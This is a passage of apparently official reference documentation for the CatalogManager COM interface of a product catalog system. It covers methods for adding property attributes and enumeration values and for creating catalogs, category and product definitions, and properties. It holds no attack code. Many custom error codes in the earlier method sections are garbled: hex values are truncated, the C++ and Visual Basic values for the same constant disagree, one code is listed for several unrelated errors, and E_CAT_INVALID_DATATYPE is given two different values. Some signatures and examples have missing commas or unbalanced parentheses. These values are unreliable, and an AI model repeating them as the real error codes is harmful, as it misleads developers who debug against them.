The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800E [Visual Basic] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A [Visual Basic] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_DEFINITION_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H889800B | The definition you specified does not exist.
E_CAT_PROP_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_IN_DEFINITION | [C++] 0x8898000 [Visual Basic] &H889800D | The property you specified is already part of that definition.
E_CAT_ERROR_VARIANT_PROP | [C++] 0x889800A [Visual Basic] &H8898003 | A variant property cannot be added to a category definition.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method adds a variant property to a definition. Any product variants created from the definition will also have the property. A property can only be added to a definition once. A property cannot be used in a product definition as both a property and a variant property.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.AddDefinitionVariantProperty "T-Shirts", "Size"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::AddDefinitionProperty

[Visual Basic] CatalogManager.AddDefinitionProperty

[C++] ICatalogManager3::RemoveDefinitionProperty

[Visual Basic] CatalogManager.RemoveDefinitionProperty


ICatalogManager3::AddPropertyAttribute Method [C++]

CatalogManager.AddPropertyAttribute Method [Visual Basic]

Use this method to add an attribute to a property.

Definition

[C++]
HRESULT ICatalogManager3::AddPropertyAttribute(
  BSTR strAttrName,
  CatalogDataTypeEnum eDataType,
  VARIANT varMaxLength
);
[Visual Basic]
Sub AddPropertyAttribute(
  strAttrName As String,
  eDataType As CatalogDataTypeEnum,
  Optional varMaxLength As Variant
)

Parameters

strAttrName [C++]
[in] A BSTR that contains the attribute name. See the Remarks section for a list of restricted characters.
strAttrName [Visual Basic]
A String that contains the attribute name. See the Remarks section for a list of restricted characters.
eDataType [C++]
[in] An enumeration that contains the data type. See the Remarks section for valid values.
eDataType [Visual Basic]
An enumeration that contains the data type. See the Remarks section for valid values.
varMaxLength [C++]
[in, optional] A VARIANT that contains the maximum string length if the eDataType parameter is cscString. This parameter is required if the eDataType parameter is cscString.
varMaxLength [Visual Basic]
A VARIANT that contains the maximum string length if the eDataType parameter is cscString. This parameter is required if the eDataType parameter is cscString.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_ATTRIBUTE | [C++] 0x8898011 [Visual Basic] &H8898017 | The attribute name you specified is invalid. Attribute names cannot be blank and cannot exceed 36 characters. Attribute names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_DATATYPE | [C++] 0x8898007 [Visual Basic] &H8898004 | The datatype you specified is invalid.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B [Visual Basic] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_COLUMN_LENGTH | [C++] 0x8898004 [Visual Basic] &H8898000 | The length specified for this property is not between 1 and 4000.
E_CAT_INVALID_DATATYPE_FOR_ATTRIBUTE | [C++] 0x889800A [Visual Basic] &H8898006 | The enumeration or filename data types cannot be used for creating property attributes.
E_CAT_INBUILT_PROPERTY | [C++] 0x8898003 [Visual Basic] &H889800E | The property name you specified is used as a Catalog Management Inbuilt property name.
E_CAT_BUILTIN_ATTRIBUTE | [C++] 0x889800A [Visual Basic] &H8898007 | The property attribute that you specified is a built-in attribute and hence cannot be added or removed from the Product Catalog System.
E_CAT_INVALID_DATATYPE | [C++] 0x8898007 [Visual Basic] &H8898004 | The datatype you specified is invalid.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A [Visual Basic] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_MAX_ATTRIBUTES | [C++] 0x8898011 [Visual Basic] &H8898018 | You have exceeded the maximum limit of 100 attributes that can be created.
E_CAT_ATTRIBUTE_EXISTS | [C++] 0x8898010 [Visual Basic] &H889801F | The property Attribute that you specified already exists.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The varMaxLength parameter applies only when the eDataType parameter equals cscString. The minimum value is 1 and the maximum value is 4000. The varMaxLength parameter is ignored for all other data types.

Each catalog system is limited to 100 attributes.

Property attribute names, and therefore the strAttrName parameter, are limited to a maximum length of 36 characters, and cannot contain any of the following characters:

  • Period (.)
  • Comma (,)
  • Double quote (")
  • Left square bracket ([)
  • Right square bracket (])

The following table shows the values of the CatalogDataTypeEnum enumeration that are valid for this method, their associated names, and describes their use.

Name | Value | Description
cscInteger | 0 | Indicates an exact numeric value that holds whole numbers from –2[31] (-2,147,483,648) <= n <= 2[31] –1 (2,147,483,647).
cscBigInteger | 1 | Indicates an exact numeric value with precision 19 (if signed) or 20 (if unsigned), and scale 0 (signed: –2[63] <= n <= 2[63] – 1, unsigned: 0 <= n <= 2[64] – 1) [3], [9].
cscFloat | 2 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscDouble | 3 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscBoolean | 4 | Indicates a Boolean (bit), holds either a 1 or 0. Integer values other than 1 or 0 are accepted but are always interpreted as 1.
cscString | 5 | Indicates a variable-length character string with a maximum string length of 4000 characters.
cscDateTime | 6 | Indicates a Microsoft SQL Server DateTime data type.
cscCurrency | 7 | Indicates a Microsoft SQL Server money data type.
cscText | 10 | Indicates a Microsoft SQL Server Text data type.
cscInvalid | -1 | Reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.AddPropertyAttribute("DisplayType", cscString)

See Also

User-defined Property and Catalog Attributes

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object


ICatalogManager3::AddPropertyValue Method [C++]

CatalogManager.AddPropertyValue Method [Visual Basic]

Use this method to add a value to the list of defined values for the specified enumeration.

Definition

[C++]
HRESULT ICatalogManager3::AddPropertyValue(
  BSTR strPropertyName,
  BSTR strLegalValue
  BSTR strLang
);
[Visual Basic]
Sub AddPropertyValue(
  strPropertyName As String,
  strLegalValue As String
  Optional strLang As String
)

Parameters

strPropertyName [C++]
[in] A BSTR that contains the name of the enumeration property for which a new value will be defined.
strPropertyName [Visual Basic]
A String that contains the name of the enumeration property for which a new value will be defined.
strLegalValue [C++]
[in] A BSTR that contains the new value.
strLegalValue [Visual Basic]
A String that contains the new value.
strLang [C++]
[in, optional] A BSTR that contains the culture name. The language culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
strLang [Visual Basic]
A String that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_PARAMETER | [C++] 0x889800B [Visual Basic] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A [Visual Basic] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_ENUMERATED_VALUE | [C++] 0x889800E [Visual Basic] &H8898009 | The value you specified for the enumerated property exceeds 128 characters
E_CAT_INVALID_LANGUAGE | [C++] 0x8898009 [Visual Basic] &H889800E | The value you specified for the Language parameter is either empty or exceeds the maximum length of 10 characters
E_CAT_PROP_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_NOT_ENUM | [C++] 0x8898000 [Visual Basic] &H8898007 | The property you specified is not a cscEnumeration data-type. This operation can only be performed on cscEnumeration data types.
E_CAT_VALUE_ALREADY_ADDED | [C++] 0x8898000 [Visual Basic] &H8898008 | The enumerated value you specified is already present in the list for this property.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The AddPropertyValue method is used only for properties whose data type is cscEnumeration.

This method adds a new value to the list of defined values for an enumeration property. Any attempts by a client to set this property to a value other than one of the legal values will result in an error. This method is useful for automatic validation against properties that only have a small, fixed set of values. For example, a Color property may have red, green, and blue as the only defined values.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.AddPropertyValue "color", "Blue"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::GetPropertyValues

[Visual Basic] CatalogManager.GetPropertyValues

[C++] ICatalogManager3::RemovePropertyValue

[Visual Basic] CatalogManager.RemovePropertyValue

[C++] Table of Language Culture Names, Codes, and ISO Values

[Visual Basic] Table of Language Culture Names, Codes, and ISO Values


ICatalogManager3::CreateCatalog Method [C++]

CatalogManager.CreateCatalog Method [Visual Basic]

Use this method to create a new catalog.

Definition

[C++]
HRESULT ICatalogManager3::CreateCatalog(
  BSTR strCatalogName,
  BSTR strProductID,
  VARIANT strProductVariantID,
  VARIANT lcidLocale,
  VARIANT strCurrency,
  VARIANT strWeightMeasure,
  VARIANT dtStartDate,
  VARIANT dtEndDate,
  VARIANT vrDefaultLanguage,
  VARIANT vrReportingLanguage,
  VARIANT_BOOL fVirtualCatalog,
  IProductCatalog3** ppNewCatalog
);
[Visual Basic]
Function CreateCatalog(
  strCatalogName As String,
  Optional strProductID As String,
  Optional strProductVariantID As Variant,
  Optional lcidLocale As Variant,
  Optional strCurrency As Variant,
  Optional strWeightMeasure As Variant,
  Optional dtStartDate As Variant,
  Optional dtEndDate As Variant
  Optional vrDefaultLanguage As Variant,
  Optional vrReportingLanguage As Variant,
  Optional fVirtualCatalog As Boolean
) As ProductCatalog

Parameters

strCatalogName [C++]
[in] A BSTR that contains the name of the catalog to be created. See the Remarks section for limitations on this parameter.
strCatalogName [Visual Basic]
A String that contains the name of the catalog to be created. See the Remarks section for limitations on this parameter.
strProductID [C++]
[in, optional] A BSTR that contains the product ID property. This parameter is optional when creating a base Catalog object, and ignored when creating a virtual Catalog object.
strProductID [Visual Basic]
A String that contains the product ID property. This parameter is optional when creating a base Catalog object, and ignored when creating a virtual Catalog object
strProductVariantID [C++]
[in, optional] A VARIANT that contains the product variant ID property. This parameter is optional when creating a base Catalog object.
strProductVariantID [Visual Basic]
A Variant that contains the product variant ID property. This parameter is optional when creating a base Catalog object.
lcidLocale [C++]
[in, optional] A VARIANT that contains the locale ID (LCID) of the catalog to be created.
lcidLocale [Visual Basic]
A Variant that contains the locale ID (LCID) of the catalog to be created.
strCurrency [C++]
[in, optional] A VARIANT that contains the currency type of the catalog to be created.
strCurrency [Visual Basic]
A Variant that contains the currency type of the catalog to be created.
strWeightMeasure [C++]
[in, optional] A VARIANT that contains the unit of weight or measure of the catalog to be created.
strWeightMeasure [Visual Basic]
A Variant that contains the unit of weight or measure of the catalog to be created.
dtStartDate [C++]
[in, optional] A VARIANT of subtype DATE that contains the start date.
dtStartDate [Visual Basic]
A Variant of subtype DATE that contains the start date.
dtEndDate [C++]
[in, optional] A VARIANT of subtype DATE that contains the end date.
dtEndDate [Visual Basic]
A Variant of subtype DATE that contains the end date.
vrDefaultLanguage [C++]
[in, optional] A VARIANT that contains the default culture name. The default value is the system culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
vrDefaultLanguage [Visual Basic]
A Variant that contains the ISO 639+1 default culture name. The default value is the system default culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
vrReportingLanguage [C++]
[in, optional] A VARIANT that contains the reporting culture name. If not supplied, the default value of vrReportingLanguage is set to the value of the vrDefaultLanguage parameter.
vrReportingLanguage [Visual Basic]
A Variant that that contains the reporting culture name. If not supplied, the default value of vrReportingLanguage is set to the value of the vrDefaultLanguage parameter.
fVirtualCatalog [C++]
[in, optional, default value (0)] A VARIANT_BOOL that specifies whether to create a virtual Catalog object. A value of True specifies create a virtual Catalog object. A value of False specifies create a base Catalog object.
fVirtualCatalog [Visual Basic]
A Boolean that specifies whether to create a virtual Catalog object. A value of True specifies create a virtual Catalog object. A value of False specifies create a base Catalog object. The default value is False.
ppNewCatalog [C++]
[out, retval] A pointer used to return the IProductCatalog3 interface of the new catalog.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns the ProductCatalog object that was created.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The catalog name you specified is invalid. The strCatalogNames parameter cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the following nine reserved characters: " [ ] , ' ( )#. You should not use these characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_LANGUAGE | [C++] 0x8898009E [Visual Basic] &H8898009E | The value you specified for the Language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A2 [Visual Basic] &H889800A2 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters: .,"[]
E_CAT_PRODID_DOESNT_EXIST | [C++] 0x88980010 [Visual Basic] &H88980010 | The ProductID you requested to use for this Catalog does not exist in the Product Catalog System. You must first create the Property, after which you may create the Catalog that is based on it.
E_CAT_VARIANTID_DOESNT_EXIST | [C++] 0x88980061 [Visual Basic] &H88980061 | The VariantID you requested to use for this Catalog does not exist in the Product Catalog System. You must first create the Property, after which you may create the Catalog that is based on it.
E_CAT_PRODUCTID_MULTILINGUAL | [C++] 0x889800E2 [Visual Basic] &H889800E2 | The Property that you specified to be used as the ProductID is a Multilingual property. A multilingual property cannot be used as a ProductID for a catalog
E_CAT_INVALID_DATATYPE_FOR_PRODUCTID | [C++] 0x88980075 [Visual Basic] &H88980075 | The Property that you specified for the ProductID has a text, enumeration, filepath, float, money, datetime or boolean data type. A property with any of these data type cannot be used as a ProductID for a catalog
E_CAT_CATALOG_EXISTS | [C++] 0x88980001 [Visual Basic] &H88980001 | The Catalog name you specified already exists.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppNewCatalog parameter contains valid data only if the method completes successfully.

[Visual Basic] The ProductCatalog object returned by this method is valid only if it was created successfully.

If variants are to be used in a base catalog, you must provide a property name in the optional strProductVariantID parameter. If this parameter is not specified upon creation of the base catalog, any attempt to create a product variant in that catalog will fail. This does not apply to virtual catalogs.

If the strProductID or strProductVariantID parameters are of type cscString they are limited to a length of 256 characters. The strProductID or strProductVariantID parameters may not be multilingual properties or properties of type cscText.

Only properties of the type string, integer , biginteger and double can be used to create ProductIds and VariantIds.

The returned ProductCatalog object will be pre-initialized and ready for use.

If the CatalogManager object is initialized by setting the number of full-text catalogs to create to zero, then the full-text catalog will not be created for this catalog. You can later create a full-text catalog for this catalog by calling the RegenerateFreeTextSearchIndex method of the ProductCatalog object

This method cannot be called in a transacted object. This method involves the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.

Catalog names, and therefore the strCatalogName parameter, are limited to 85 characters in length and cannot contain any of the following characters:

  • Pound sign (#)
  • Double quote (")
  • Single quote (')
  • Comma (,)
  • Left square bracket ([)
  • Right square bracket (])
  • Left bracket (()
  • Right bracket ())
  • Period (.)

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'This example creates a base catalog
Set oNewBaseCatalog = myCatalogManager.CreateCatalog _
"BCatalog", "ItemNum", "SKU")

'This example creates a virtual catalog.
'It will only be active for a limited time and
'it has a specified default language
'but reports in the system language.

'vStDate is a variant containing the
'   date the catalog will become active.
'vEndDate is a variant containing the
'   date the catalog wiil become inactive.
'vLang is a variant containing a
'   culture name.

Set oNewVirtualCatalog = myCatalogManager.CreateCatalog _
("VCatalog", , , , , , vStDate, vEndDate, vLang, , True)

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::DeleteCatalog

[Visual Basic] CatalogManager.DeleteCatalog

[C++] ICatalogManager3::GetCatalog

[Visual Basic] CatalogManager.GetCatalog


ICatalogManager3::CreateCategoryDefinition Method [C++]

CatalogManager.CreateCategoryDefinition Method [Visual Basic]

Use this method to create a new category definition.

Definition

[C++]
HRESULT ICatalogManager3::CreateCategoryDefinition(
  BSTR strDefinitionName
);
[Visual Basic]
Sub CreateCategoryDefinition(
  strDefinitionName As String
)

Parameters

strDefinitionName [C++]
[in] A BSTR that contains the name of the new category definition.
strDefinitionName [Visual Basic]
A String that contains the name of the new category definition.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800E [Visual Basic] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_EXISTS | [C++] 0x8898000 [Visual Basic] &H889800A | The Definition you specified already exists.
E_CAT_DEFN_NAME_EXISTS_AS_PRODUCT | [C++] 0x8898004 [Visual Basic] &H8898004 | A product definition with the name you specified already exists. Definition names should be unique across Category and Product definitions.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Category and product definition names must be globally unique across the entire Product Catalog System. It is not possible to have a category definition and a product definition with the same name.

The initial definition is empty when it is created. To add individual properties to the definition, use the AddDefinitionProperty method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.CreateCategoryDefinition "Housewares"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::AddDefinitionProperty

[Visual Basic] CatalogManager.AddDefinitionProperty

[C++] ICatalogManager3::CreateProductDefinition

[Visual Basic] CatalogManager.CreateProductDefinition

[C++] ICatalogManager3::DeleteDefinition

[Visual Basic] CatalogManager.DeleteDefinition


ICatalogManager3::CreateProductDefinition Method [C++]

CatalogManager.CreateProductDefinition Method [Visual Basic]

Use this method to create a new product definition.

Definition

[C++]
HRESULT ICatalogManager3::CreateProductDefinition(
  BSTR strDefinitionName
);
[Visual Basic]
Sub CreateProductDefinition(
  strDefinitionName As String
)

Parameters

strDefinitionName [C++]
[in] A BSTR that contains the name of the new product definition.
strDefinitionName [Visual Basic]
A String that contains the name of the new product definition.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800E [Visual Basic] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_EXISTS | [C++] 0x8898000 [Visual Basic] &H889800A | The definition you specified already exists.
E_CAT_DEFN_NAME_EXISTS_AS_CATEGORY | [C++] 0x8898004 [Visual Basic] &H8898003 | A category definition with the name you specified already exists. Definition names should be unique across Category and Product definitions.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Category and product definition names must be globally unique across the entire Product Catalog System. It is not possible to have a category definition and a product definition with the same name.

The initial definition is empty when it is created. To add individual properties to the definition, use the AddDefinitionProperty or AddDefinitionVariantProperty method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.CreateProductDefinition "Microwave"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::AddDefinitionProperty

[Visual Basic] CatalogManager.AddDefinitionProperty

[C++] ICatalogManager3::AddDefinitionVariantProperty

[Visual Basic] CatalogManager.AddDefinitionVariantProperty

[C++] ICatalogManager3::CreateCategoryDefinition

[Visual Basic] CatalogManager.CreateCategoryDefinition

[C++] ICatalogManager3::DeleteDefinition

[Visual Basic] CatalogManager.DeleteDefinition


ICatalogManager3::CreateProperty Method [C++]

CatalogManager.CreateProperty Method [Visual Basic]

Use this method to create a new property.

Definition

[C++]
HRESULT ICatalogManager3::CreateProperty(
  BSTR strPropertyName,
  CatalogDataTypeEnum eDataType,
  VARIANT varMaxLength,
  _Recordset** ppRSProperty
);
[Visual Basic]
Function CreateProperty(
  strPropertyName As String,
  eDataType As CatalogDataTypeEnum,
  Optional varMaxLength As Variant
) As Recordset

Parameters

strPropertyName [C++]
[in] A BSTR that contains the name of the new property. This parameter cannot begin with a digit or contain a period (.); it can only contain characters that are acceptable in XML tags.
strPropertyName [Visual Basic]
A String that contains the name of the new property. This parameter cannot begin with a digit or contain a period (.); it can only contain characters that are acceptable in XML tags.
eDataType [C++]
[in] An enumeration value that specifies the data type of the new property. See the Remarks section for valid values.
eDataType [Visual Basic]
An enumeration value that specifies the data type of the new property. See the Remarks section for valid values.
varMaxLength [C++]
[in, optional] A VARIANT that contains the maximum length for the property. Even though this parameter is an optional value it must be given if the data type of the property is cscString. Properties of data type cscEnumeration have a fixed default value of 128 characters, which cannot be changed. Properties of data type cscFilePath have a fixed default value of 256 characters, which cannot be changed.
varMaxLength [Visual Basic]
A Variant that contains the maximum length for the property. Even though this parameter is an optional value it must be given if the data type of the property is cscString. Properties of data type cscEnumeration have a fixed default value of 128 characters, which cannot be changed. Properties of data type cscFilePath have a fixed default value of 256 characters, which cannot be changed.
ppRSProperty [C++]
[out, retval] A pointer used to return a Recordset object that will contain the new property.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the property attributes.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A2 [Visual Basic] &H889800A2 | The PropertyName you specified is invalid. property Names cannot be blank and cannot exceed 100 characters. property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_DATATYPE | [C++] 0x88980074 [Visual Basic] &H88980074 | The datatype you specified is invalid.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_COLUMN_LENGTH | [C++] 0x88980040 [Visual Basic] &H88980040 | The length specified for this property does not lie between 1 and 4000.
E_CAT_INVALID_DATATYPE_FOR_ATTRIBUTE | [C++] 0x889800A6 [Visual Basic] &H889800A6 | The enumeration or filename data types cannot be used for creating property attributes.
E_CAT_INBUILT_PROPERTY | [C++] 0x8898003E [Visual Basic] &H8898003E | The property name you specified is used as a Catalog Management Inbuilt property name.
E_CAT_PROP_EXISTS | [C++] 0x88980003 [Visual Basic] &H88980003 | The property name you specified already exists.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppRSProperty parameter contains valid data only if the property was accessed successfully.

[Visual Basic] The Recordset object returned by this property is valid only if it is accessed successfully.

Property names, and therefore the strPropertyName parameter, are limited to a maximum length of 100 characters.

[C++] This method returns a single row Recordset object containing the newly created property. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

[Visual Basic] This method returns a single row Recordset object containing the newly created property. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

The following table shows the values of the CatalogDataTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscInteger | 0 | Indicates an exact numeric value that holds whole numbers from –2[31] (-2,147,483,648) <= n <= 2[31] –1 (2,147,483,647).
cscBigInteger | 1 | Indicates an exact numeric value with precision 19 (if signed) or 20 (if unsigned), and scale 0 (signed: –2[63] <= n <= 2[63] – 1, unsigned: 0 <= n <= 2[64] – 1) [3], [9].
